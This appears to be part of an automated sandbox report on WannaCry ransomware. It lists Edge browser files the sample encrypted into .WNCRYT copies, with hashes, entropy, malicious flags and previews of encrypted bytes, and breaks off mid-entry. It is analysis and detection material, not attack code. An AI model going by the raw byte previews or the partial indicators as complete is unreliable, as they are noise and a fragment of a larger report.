                                                                                                      Preview:WANACRY!......Uim...Y[.u..7~.....0...:>...[.wF..[y.s..G.o".W..(d.....sR......e.Q.>%.....c.~..0.(T'...=.n.=6f............:..0...;.L..a..#o...O.1@..J3..L..C..~...%.T.....b....{.e...W..$%......(:....YG.m...., "a.iz..?W}F%.][.@...@.3..Y...2....(\................i.E..9h....N\....'..%D.>..?q..C2.`.w.{.GnS.......4..PF.........-..P..q..>..........]!N.^.,.Et.....^pLy...M...n.k..fW...".[X..E.MXv..m(...&...Y.1ct.*S......~W}.D4g.t....5..B..t...0.'y.a......L..........9E../.7.D.@'xz}T.W'.\........aD.,...V..z..?..$J...lor.(..I.W......l.e.1)..5....e.#...r.......{@(.Y6....@$.e,.6I.^cd..Ws.1.A....8.a.....{-.R...1....CzQl.l.I..........j.|...w.g..9m.7 .ePt..".@G*k.. >...[G.~5..ln(.kL.=.x..h..;q....KQOx(..\....t.....{.....O.~..P..(.-..!..\...S.h......F.-=F|.D.A..)...n..BS.....'...Yo..=..p....A.'..M......;...Y..]B3: ..uC....V.I$.:..Y.[.I..[.[.L.9RV:..;.%...l\EP]...".m.....WQz...Y$...+.Dw...i...{.-.E.....^..9!.9........y..m._....I.]..U(y........

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):358056
                                                                                                      Entropy (8bit):7.999448430864916
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:L4TnXWxujimmvaFw3izgUJakICPuKlSjKj8inMJI0WSfpjHvVPOaP52/iJqXH9v:LI2/mmQ/fa+Pu7Kj8inc0SfxvJD5CCWF
                                                                                                      MD5:48AE1DFFBAB6318F6C00E2305E92B49A
                                                                                                      SHA1:DA70EBA758CE809151FEB6990DAA6D6D797051F3
                                                                                                      SHA-256:EA69A927C196EE1CB1EA11A163C5F05A0513C9B803A5E0A0704268D7C292171E
                                                                                                      SHA-512:AD60CEF8A3C05FE0CE6F1B6C297F0B434A58A44D0FB322840686E60409019291F57D01581D2362D7F84501EE3811B33B68A825CE2872B37021FC72FF6FAB814A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........^H....OF{.a.....E.8..le\y+X....G}j.....]...^..F.XY,r7.....3.uU^.1...k]........a.kV.d..3.t.\.z.oS...6=.&.......{^....'....%.\~.Q.UR@..,q.r.BBX_.?.*.m...!..k....P.xj.."Wh%..N9u.".7,..,..<.!b....3.c~$..b.....a......k.s...U..)....kp.q.%..{.......u.......B....._."2.N..g...1.X.G...W.b.x....o..&.y2...I.t..g..^.....w.....Rd.7..l.j..~$._.....#..l..)....{........t[..I.....Q.5c..........0.Yg...,..&.-....A..:.uxF2}.,^E.:..Sw)0.....#...dH....m.z..$./.GP.H&M........A.....1W._.j}.J.Z..^y..S..@...Abc.......]x.....%zA...SJEu_.m.;.D.+..?N.L.n.^..k\&-a^..=8.^.@.l.+.U..MX ....p...a.~...s......*.-....C.`U..y..k.V.mh=q..CA...4an.1o.m......Y.$..*.P.NA.a5SU...../...)Jm......`B.1EZlS.........u.z...v#..d.1JE2f1O.\..A\hlW.Ks=.t.wG.#.....S8.>]....o.....<.&cM*.(c..U...$_...t.9..%...p......wr.!..@I1...*.Q1...........i..^........:....GA...U.o.b...:\.*N{k.{..[....0.....D.s....2....x..7.1.....u.U...A...q..^p.j.}...(W<Q.....%..K..%...~[;...$x....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4552
                                                                                                      Entropy (8bit):7.95584327560536
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oQBMh4R77FX70fXdeEVwrCZTnEXwhovjjSQfk64HU1Xvor:4h4Jho1Pzn/upk6n/or
                                                                                                      MD5:106FF274284689A7BF25BBBED43B51D6
                                                                                                      SHA1:898BA068CACB3C240977B40931E00E22594F3B7F
                                                                                                      SHA-256:92B164508346D336D27E515EE24DF865C1AFE6CEBF842A8D7D755220FBFD96EF
                                                                                                      SHA-512:4200F43D8B31403520974C07973883C198601B60926C5620946A119237E056719F170A9070AA2679AD367D44FFDB10865A573DF040A20D440526FBA7FB6CB8D5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......6F.$...A7.q.....a..M1L.......E..x...G........-8....!5.N.K..;.>.....^...}=.XJ.Vj..bX..9U.........8........5n.....{7."..0..._(.P....... /.$!.S.I..G.4...||....n'.LTy..}TJfAq...0)H...o.}^.jj'.1...............9.......a6.../.2p....)ZW#.;..U............[.o...O...N.n....a..a*"b.I........L...y.*..w."...>..{....7..!..$..z...g..}.@.h@...~ZI...<Is.X....Y&.;...........V.......Fj.....0ef.....j%.y....C...|Q.......1Q..Y3.......A..:..)r[......;..~.X...G.s...p=.]..d....<9...F.v%Sub....NB5...gc.o..........N.t...t.....1.:..>.SP....9KC...........4..Ej6...............25@..G..........v..Y.L.bH..`r....(...........)..BH...EF@..@ai.&..H5..I..\..w e.!.u.$m.%..b.%....\|.'.." ...Hz.&.=rx.+v.....W-.2.....p;.|Y5id.....O.Kd`-.0..!..il.....)<xm....eje..w>.E.....9R...c.*...W....N.k.;.P.^....:.....!Q}c.%.....[...Ap....V..i...&cp...]M...N.......9#.."E..G..$I...MA..4.nC.@.c.NR0 *.b1-...3.....z';....P.z.........y$;@...{.3..R.*..V:.}.-'d.T.?.W.;.......@.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5608
                                                                                                      Entropy (8bit):7.965228477936132
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ow5zSuJ5ScUwk26gw52mlomy/qV1qpIytkg/RjzPqdLFoq5xl08OES5eEccOLfg:71Fk2oZlo6+RjzPeaqjnG5Gcsfg
                                                                                                      MD5:3EF8EC4E9904EFBED52A515119550860
                                                                                                      SHA1:06DB9E628741C541A3A1DE05EA97CD7CA9CC82BF
                                                                                                      SHA-256:E81D150E6B0D1A93D73FF1F0E55CB855DCEE29613BD86441AA238CBBB6E59999
                                                                                                      SHA-512:0F33957BE87ADB4DA05885A8BD5552E2A039A031DC3B3974F398A5671983D238E1829C3E3813CF3A3D35CF3B7F4E5728DB6D44B81A38EF06F50724F8CE6E5321
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....A..^....\..y.g|8....^jS..V.:.3.p)..[....&..e.(......V....-<...7i.q...h..Gx..;.n.2SU...$.....`.....IU.8.e........G.e.y.@......:..p&.L,........K......M...i86..W..%.)&.MY......7.=i.:.F.u...m!.n........,}..pf....W0....5$.....E......M)z.. .N...h..Y.d.5H..............9q.\...R...F...X(.vytGQ..|..\.%.#,....1......L$...t...@.QUJ.jD..3..jk....,..<..<T.tys.1.-o.).`y.e..E....Zn...T..[..^...pt....P,..i...?....x...c....$'7QMk..........?...e..0./&..o...........J..n.,...Ai.)....../.6~....17....M....R._.t>J....f,XJ.aw..V^Z.....Q...H..n....Y].....0?xxX0..gu.G....>.Q.D......c.....J..,6..N..r..U9.*....1.D. ...<GJ."...S..)^..p|......A7.b{I[.db.x...C\FN..+..I..7&...*"k.k.Pv..;.4....#.-.U.K......|;.Q.N.....Ism...&'v......I8...QD.m.v9!....9'...sS{.30|.(.%.|-...I..xa..pH..I\.`..3\'&Q*.hk/I...!..E.....@:A^...!,Q.n.h>k.a.......4sob4..ugD.....J...gb.x.sB..d,...=j..... Iv...a.TgB..1.g9.<...."B1NYT.@.......v..cnQ[.6.. ...q.Q.D....W..]0......EZ.*F.o.......

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.925099819336861
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkN+gNIHRtsQuzdC+yey0GM/JeCrLtBYOO452pvN70aS+DrGY31A/Sz9qhlz9Buw:oN+WsmQiC+zGWXvfmVwZyCOaK+lJ
                                                                                                      MD5:528E41E53DB314C44D9861202597C650
                                                                                                      SHA1:F8A5CEA1E021E8B4DE91FE94815F2A792F243494
                                                                                                      SHA-256:8208A319CC33A90068C6883BECD3223C52A25072D55FA6F259592B02254AB519
                                                                                                      SHA-512:7E6DD322623336A17B9692EDCC644902293714D3CB101811C4E8700152BBF37C13CB6793539EB93073752E36DF2EE00447C0856DFDB6918F93E9DB21400CBB68
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........Q.e.^.gs,j.;E.,]w.Cl.<.!A...\...g....:...'....mD.l......+@...%....Z..k...Tp].eR.T...3....kvs....x...8.di...$.....C...n..........yg.....I..V....cn y....e85.V4...Y...(+.W...m..u.T.$...fH....J..../?b.MU...G......h....Z5..m...K.=\B.......i...$......g.......G.....]..>t.^. ..~.;...I..R.g..Tc36..|s....z.+.^....qL.....G..6..6..G...HEm0....S....xV].1.H......!r.-.I,F...y1;i!{4@'...uE..?.%.a1h..c.v::.......3.}...B.s.."....E\..!..PL..Qa+..]..K-.Q.v..._..n....*.|...At...'.le..i.....>.I~.6Ct+.L..U.g.N.P.<..U.J.d.....=..p.j...?,..`{.L...`.)....~..<8.4..8..c.0.....0^..o..v..4.l.U.....T%....m;RB(.zI...^..r....."_.....:{q..w.l..~...X..|.k.,.\Y....[..B..3."..X_e...AHUC.H.{.vG..b...Q...!....B_{..Fe.......rp...G..../tb.@.(.z`B..V\.[..5........5.ApJ2..U.`)....t...Do.."......'...F*.5.WN.Q.\.c.1.....?.oF.O...R.....K..n...y.t..z.Or.{c/.@... .+.J..'..C.f....Z[..p.z.M...O....cA....g&...D....h.p.`..z..%.......C]CO.@n...N.$....u5...K..L.kw..YZ.g5...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6136
                                                                                                      Entropy (8bit):7.97261137538788
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oOAjbLIHXCZXo1/NzYkLC1YG6th6CdcJpzsoiztkGBFls2x4MciVoL0g0Mv3lNyC:ojbsB1/SpeG8dcJRuFbnciVoLxV0jZw
                                                                                                      MD5:6439D6A33B779A462AC6E3C2BD593057
                                                                                                      SHA1:BE9B957B1213C409A787CB8C24975586A746FDD4
                                                                                                      SHA-256:B061211F5B5CF7DCCCBA53FF090A1DB0D8FBFF118876C0242D2AF94960D9CEA2
                                                                                                      SHA-512:EE9089C5DA32C13806FC3DBB8C969120667BCFF6A059471B5AEF466A08C97DF4A2EDB17112D162355DA5CFBBAE86B27264E6389D6421C724548C35D27EE040AF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....{0...*.N.|.6u.Z.f\..o..9....7.3(=.........c.(....X...&...07h...!W..m...$.3p..[`.?..4.ss.e.a\..BY. ..Sw..d.y.1d.s.....Hn7....W..A.i...Z.....X..sd..>.M..mJ....F.N[8S...~A...R..l|..*.DS]i....U.......j....!vv...,...SX....O.c....`\.`..q...;......................D0/0k.r....M.....>.......-. ....=z..D..r......Q..t.|;.&....[..e.."......y..p....%........bSJ.O0Z`.N..oq....<....Z...J.*`.x..b.....w"&.E.+c..!.q.......p].*!.2.M....M......T.Jzl.9`..U...L.:....9;6K7...9..G..&sa.=.,..Q.....i.......tS...HG.e....y.e..u..PW@...q)..aW...0.<./.wS....XK..]..{r./S..8...........[.....Y...K..".4]..(...l..6f[.;.xn}K...3t.._.y...hK+..-^).z....Gq.>... ...\c..o.f\..U...5e.$.Y.U....W.;.[.1.|1..f..V....;2...~....k..E..w.....M,...z8d.G%.P...b.$p..%Z-}.S$.. B^.t.)R.-".CU+~...r........lL...../ar....I.V..FK..1..M...V...R.9W.. #..S.2.......r.k...P..L..to_.C.R...*...Gw....o{q.....J......v..._..CJ.Lq...z.......a2....8..Z......~0..P.g...g..vh..bMks.....{.\....B.Ve.BG....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):363208
                                                                                                      Entropy (8bit):7.999451418351574
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:F010vk83DYMIphQ+ROFs+Q+reP++p6NDjnia2/ih2xoDYNDyZ0wdZn0DyB8g:Fq0pDAQY0rT+p6NDjniaAih2qYlymSZF
                                                                                                      MD5:0CAF1EB09DD55C6076B454B80D8AECE5
                                                                                                      SHA1:4B53B30903FE75C55D3FBDB5CD1D0C1EED695DCC
                                                                                                      SHA-256:6F9F4B2009766968EBF8189BDABDCA0120839FCEEECE33BD42674C2DF0E6A194
                                                                                                      SHA-512:249D2BF87408BBB3C2583AE12FE0A9D258766D26DEE581388E373E649C584ECBAE58C63414D703BEC2C5EA8D9868B678B2A233E3AD0EE964D05050B71F85665C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......l\.%...A.d.....2..>.........3.2!..=.8...{.K...F.i.N/.....S.Q...-.(=.)c.....O...9..*)........*zJ.5u..>(.:*.?...4..jrt.#.6.V....Z....#v..-.@...uZ.M;zf...D.d..f..z..J......+...1B0S........KU.$.xF..m.......E....Qj..VO..ib.}......^SZ.z.b.3..YB..................@<...#..v.*Oc.\+Mk|.h..A.gT..yST#...f..^9.u....#.u.p......f...-._fS=.../......g.O...#.W.....t.).]....[........7.S..4|.f.`-2yV.+w)..Vt}.. \.r.....I".1.../..I..m.)Rq.:...o.{..h5.*j.LZ.n...&.X|......H..KS.!....v.i...GK7.U.B.."...O1.SV..5cDP..6..'|..G..+.p..PR..t..l.E...V.L.....%..9|...{..zZ5.AJ....5.......M.K.O.!oY./.R.25.q..U.]../.o.75"*~.%...U..u8.=........"..........`.z...7.S.i.......@....._.e...e...e.,..b.\...l.C...!5.f.....&.h...8..HK.V.5`Z..b.. .D^>.]..7r....%h....L.uxg...+m].m..n..~Z.GG....N8Mt.*.I..<.......f........bA."...?......Y.)g?.q.1...4..:....-X..D.P...q.~..'3>..q...F....2.c.......G..<"p..w4....D.25.#.k-....3...I......j..u..]....-d.[....._..G-.q.....?...7.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1336
                                                                                                      Entropy (8bit):7.858146966862547
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdn5PnaHD8rxurfJmpFQre0k8BlOSaWcGaZVsfyC7zMLdZjU8++f6BCai+k5q/u:bk15PaHD8r+mpFQC8H210fyCPMLdZjd7
                                                                                                      MD5:034D655153F2231C50E96EDF80339775
                                                                                                      SHA1:FE84CB89591F61B7D3856B5A0B6EB4013F3047E8
                                                                                                      SHA-256:2E17899345334D601721E620384B3D9D7E8D12232A88760AF718C0D22F41B43F
                                                                                                      SHA-512:3EAD6F50AC16BDA0E640D2CCDE8A413DD5E95C50B0748E75029DDED539E2D59366510AC05DCF49A3E1FB22F7A47B540C79D10723A83C25DE4BF7A9CCFF3A77FC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....`d.i"......4E..........f.9.P....3.}"....T......s\.?H.I3H.0.....A|... ...%+n......... ..4..5N]......O....LWpi.K...zN..N.s..E.....l...7+....4~...'..nK..v....at....>.z...)~..&.....C..... #..[..........).q.uf...h>e....bF.[.5..O...y..'...%..1`%F...............A.....7....M......)..*'.w..O..8..#Q..g.+..1...5RL.wA.g?.....~..."......y.NO.....w2h."~..W.......m.O....WTJ.......A.....W.._.n8.Au.w..._....|..}...".f...K...n.-p....E.b)@..0.].fY.'.h).xI......@.....*.......I....4-.(......BL..9.Y..%............d..;.+F.3......U..../&..(........)....N..q.D..........tO..b....(l.x....a..Sw...h..;..@...U^...-.3Lx{.{...Fh.T...= . .;N..g... ...f.......,~..L."...h.T..&..!K..md.aJ.mX....~iv....o..g.0~...P.!....97.,.^.t..H.l.."\....f:g C.{I.&e....K...4.MxOc4..y.W.5.a..e.}!..L,..4.......;S.W_z..T&{d.......B.n..U..:s.b+...I=?u...'..G...f.Y.\......cj.J}.Kq^uB...d..La:..q.!....?.p......z....d!.?{..*C..C")).S..m.r.. n?...OD..Cr..th..-....YlJ.......4!P ..D.A..[..D

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1608
                                                                                                      Entropy (8bit):7.878098148412954
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkLh2F/v4d8SnXvZkeZHr6iNaemDOZO5+kTOG:okHvSXvZT2iNaecOknaG
                                                                                                      MD5:B0316E6553F2C1CD75D1AC0BFBA29A23
                                                                                                      SHA1:E1F5B1E810B7DDE909C215B46360BF43828EA876
                                                                                                      SHA-256:0839D3976D9CA2C1709F32061CE74F24B5BB429825F8D9B6A1500C7057336E7A
                                                                                                      SHA-512:2CC546E64475326BAC4941BDF63208FF9806A8F1FE67B4722ECD217B17F271E9903F347B242EFD8C86B34EA6A71D63E198EA9B9E157858F8A0699E351FC0C137
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......C..S..+.m....w..WY..w.9E..c.-e.s.......MS$F..[....z7..o.....v.......0..i..a..j.Y......R.M..q.....|.sj2..26..|C....C.E....6...U_...<.~.....S..9'.<.....6...y.....+a..e........p...6.Q...R...l...=..t.].d.".%...].[...aT.{...a....=y.&.^V~.........%........C...:$..y...3$...R....^....,.l...k...u.....q.Z......@.....i..A...O..i.[..U.....?+.n(P.3..1.{..a.nJ \B*..1..RK.y.Fg.O..Z.x$......Z.F...%.^.a..).k.p.e..r..4G{.L.<B......-..C-..R.C.2..l...9.}..7np.-8.....M].o....>.:.r........bk.....v...Q.3...o.0...-........w...G*R.N?..>L...|...d....<.I..`/z.A{..$....5y...]....-it.x6..kOe...K."[3...]...].)....;.`..me...0...Q..Z:E.{.GJar.y..^a....9.\.,..F..d....L..J...X^v"...^....%..T.Bk]42a..K.....9_.....S....FZ.<......'.3.|...N4......q4L.......qO..T(/A.w.1V...OP..g.S.i.K...#.(.3Ws..^>K.k.x..p...._Z''. ..mx=.I[...=...9oH.....yfI...&....7....P.........P4g...X.._..kb......i.5d...'Gi|.E....8.......7.C...)l.......961.........bw.7.6...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):493400
                                                                                                      Entropy (8bit):7.999679188787113
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:zP4oZVNO42ugrpR8oc3MBsxXWNl2G6jDHjc+vDtSQMDtfKSat0V+RdIY3Fr9YAMA:zP4oTn70pR8Z8BaZUGD8tCtIYjMlakkJ
                                                                                                      MD5:F9D6F62D0D0435ED0FCA7CA206FAC273
                                                                                                      SHA1:EC1AB80EB4892EC409DE40DF18DAE37F3D8C6EB3
                                                                                                      SHA-256:9C2ABAC028C49137C8D2C2654788C576FEBE7B5E47634EFEB06F33D4148EAB8B
                                                                                                      SHA-512:BCF75D30C496B2DCC72C100CDF4BDF176479BB678729F7AB8FA66D67FE7CFE93188EDFDBEC044C82E87335E3BFEAE3B8D1AC973EFC0E230690C7BE5C5DA53A82
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......zG.i#\.&o.#v.z..y.Etl.+..5.5.0....^G.j.Y"..p...O\.w*..6_.c......~.4@`.`v!r.:.'.i.XC&...V..V^>.. ..@.8$.K|....<%..k..O.Q...C....%.x......#..{..P..".0.'6.! ..ZW..<.......8...L.....j(....P....z..o.P3.8.&.-...B......X..B.]..n........l..F.....`U6....2...........<......I....".z..*.......I.....78..8..-#..l..;._Id.....Vhe.....S..w.G..<..)N.S...S.....!.....4.9Z....{H....K.}.Q....v.X.>....0.s....U.<nI..+_...X.q.b......X8.&%s..........>...Af.L....SMo;0">g.hZhE.!..N..'.V[3c..n...H?)....}s....4...sZ..1......0"nL..X7S..p~-@3..C..OT.C........ .s%%y...z,[`%...'.'B..m.oF..*..(,y.Q.#W.=#.M..L.m.H..7.s..#.u.fA....G.B..v-e.z/...!..W:......*..f...[.6.[...3%*.@[..hM..'..8..j.?k{....D/?.J.J".h.*.Q!m.~...D..8..f.....V.7..7j.U..29...n.R.W.....)...$...../X].....T..v..\{.. .s5p |.^...^?N....*z>4( ;1ezY.4{.X.....!.+.Ba...#...bb.s..!/.|OL.9L]d.O..7.....^.E....oo.y.hkw...p8......U..D...D..D...~..2..dB.......c......Q^4=V..h.E._V..8M...........yI.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):329976
                                                                                                      Entropy (8bit):7.999472625687884
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:7ujcRtG/y68OACjaku/vNYfQvHZQsVgfd5bZmjqlBtz8CahSNpIh5K+Z9yO:yjCtG5u/ViiZGfHbHt1NpYjZMO
                                                                                                      MD5:154810A66DA368343FE1BA22E5A83D6E
                                                                                                      SHA1:1B0B8A00DF16765ECC9DF05EB93843D42142D63F
                                                                                                      SHA-256:9696F2AF4658C13B80341BE859BA3AD769F54104C03BD0861AD64DB34F352842
                                                                                                      SHA-512:0E60066DBC6AEFDFD028D874515D2DA89904D3D079B82B22932D7AA130AF1D94B76923F9E320745B298AFF829CF4D88191B6A9D7D7C38BF5701D44389A6A42C5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... ..}.eOH...C...b[.&..Y+...xY..R........$:R..?.....<M..}...Ad4O..9.VhHg...7.R.@BvF.E".....FU].b\.....o.,Gq... ...*..z.....9kDI.....kj.5....3;..{8K.....C.?......5]$Y..".W......W.G....gT.h.6.dg2]z.2.....D.n:.....).....J...%..|.V..@.[I7e+.3...............oT........l1.~.).F.....y......?.M;fs.......K..p..b9k.#...z.....L........I.....Z...Mf.OYv.;..M`CB.-..H....Le....4...^.I.s!.a^.E..._<`...v.i*;:[%..z..|....d:.i0....T.l...<.....N.*..>..h.#.&.l.N.......Iz.)......d&Ioq....J....O..9.....O.,V8|L......b>..P...d....XO...ux...OL/..-...._....h.u.....'i...&.......s9.lp...v.5..Vq.U}Z..`{...a.....y.R..O.5m....K./..hy...=...@xC.4&]...CJV/..F.\...".7...u6....<~y<..b{f.l..s.?.iCJO..p..{...<.(.u....,....._........"{...w.|...C.E.,H.q<g.....]=T]yi.>M.&6...0e..A.W...u......`...9.......@..#f,d...s...B.q...5.PL@$..d.U..&V..M..Q.P.........../)...C......3..&........5....C...UOV.R..~.'...e.%.ro..D..hRn..@..|'...OC.WN..(f........L.....I..i`.9j.n9px`>...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1608
                                                                                                      Entropy (8bit):7.884999129255086
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkuTJmNnh/yDQb0UgQhamx25HrEfRFQTLruVaFPz:oW4xh/ydkhf0Zq2LrrFPz
                                                                                                      MD5:795BC97ADAD1201FB2B8BB63B4606855
                                                                                                      SHA1:42DB04C27F0741318EA0711DA652A8D0C0FCC46D
                                                                                                      SHA-256:6C97F38BDB8E2E6238B94011769638B1B689229D86CD4484016A9837C738B1D2
                                                                                                      SHA-512:9FD1B5ADB95416212F5810F9FF705B1060CD1BD7C4E51FCC4E2860BD0464D3592140DA0B45FA789EE5C05F5B5327CDDD5939D9D89321A8D58E20C7A63EF10DBD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....jW.PD.=.9N.....z......;.D...W....6....o;C..l...{.$...X.d............).7t..v;Q...B.S....W.Y.t.G-{......:C4..[No.|.....2.....Lh....P...(.....#...X#5.ti.h...".,.t...3aF....;ej..........G...v......1L........X...`....:a..W0.h..Kg9h1.K...i'G9..........%.......e-....<..k.....~.6O.wut...eCU.sK.......T..M.,...M.dO./...h...f.......w...hW..z+.......z....B..U.....T)4J...rAS.77T...I..I?..L..9......iX.x.#Cz3.`....5..Y....d..R....>.Y..._(h...d-g..@{.....Q.4.%......m)].(Lj.Pq<"Ly....g.f.......-|2.5G.r.c:......m..7...{5.....K.L...S.....>.r..e..".U......w..g!S..6Y...t..nv.$.$.....z..5.^....<Q..aJ~.9v.q.S.$..ZG......e..>zOx.B;g.^.a./.!.t.$4+......8.k....[...2j.a..U8...i>...].b... .....,...8.g.h.....L..y....v.i.bD2.>.....`.f.X8K>..-l......c.(....,..|..R.+..kb.H...0.i(>.......Z.J.+.fWe|k.[.{.&.}...Il@}>...n:...D.DY..x./....H....._:..b....o...........|..i...'*.n...S`$..A............8.3.?.F.t.$......d.]._..9..1.V.....g....$....Zx....C\...>.o._..p..$.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):552536
                                                                                                      Entropy (8bit):7.99964975052257
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:ByV4LL751WHkOA2WyPy8lIHm1EmG8TuJarB25KBP3wQNnvi9kxly622:ByV4LL7512fnWyPyWP1EVfarQKdJGA
                                                                                                      MD5:827394AED97004787019BCCB147CF3EE
                                                                                                      SHA1:F0E4A46A28F69BE4F1BF0673B577D5273AFF38AB
                                                                                                      SHA-256:9E0377B022A719C5BB5AB2ABAB6290237E2C097C8B5D80EB0A5C1AE43233BD94
                                                                                                      SHA-512:77398635508B7EA0DCA1C313DBB421C64473606DD151F4A15F70BE565E4037E88D5F3220FFC8B2530B91B682152382BE0CBAFA285002552F378FF966B875F31C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....y...(.@.9Lh....UD.`.A.U.z....;..k.D...s.>[....s.=.P.A=..S.?(/LO..BY.:.d..h...w.p.Ua.=-...bc;...9$LR..l...P...'..=..lD.+:u.LA.$.!UxQ_...xY...8:.$VK.t.Bi...Xa..m.lL..~..k~....24.hr.......K.jm.6 j.,>d.$PQ;A..Z.....E.........L..Zb...Xy4.S.=....BZ$"s....9m..........!.0.....r...<P.Q.....J.Yu.g....P..;>...(..(../....8A....H...^M..T/..hTI..z...R.....I+..rsh.yd...,.5...4.........rO\BYq{o................"I.lO.L......U/..K#.{Sp.k...M;R.mH%....)..........M.......w:Z.K......q.|....A........I..}a."....tE...s..(..H...._Y......'{Q.|...........[../.2Xi5z....P'L/._...R.4.d..=.......d6.:.l ..'}S`]p..y....U......R#.oD.<&.H.,.N../d..z...c':.....w.?.A./...k).^xA.........-........ ./.....O'a..6Xl.P..E.8...Ps...E&:..X.p\1....)h.p...J.a.f.l..O..#..1#9~.k.><..g.v.>.%.2....S..H0.[.Z....P.......b.u>.1X`.....w.y..+G.:y@.N..IR.B..@..$rz.,..c..w~Cz0G.=.^.......mP..Nj....J...A....N.,...)....2..9..q..A.........-.ZZ...o..s.s..tAh......&.c..[E..D.6.)=...4..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16456
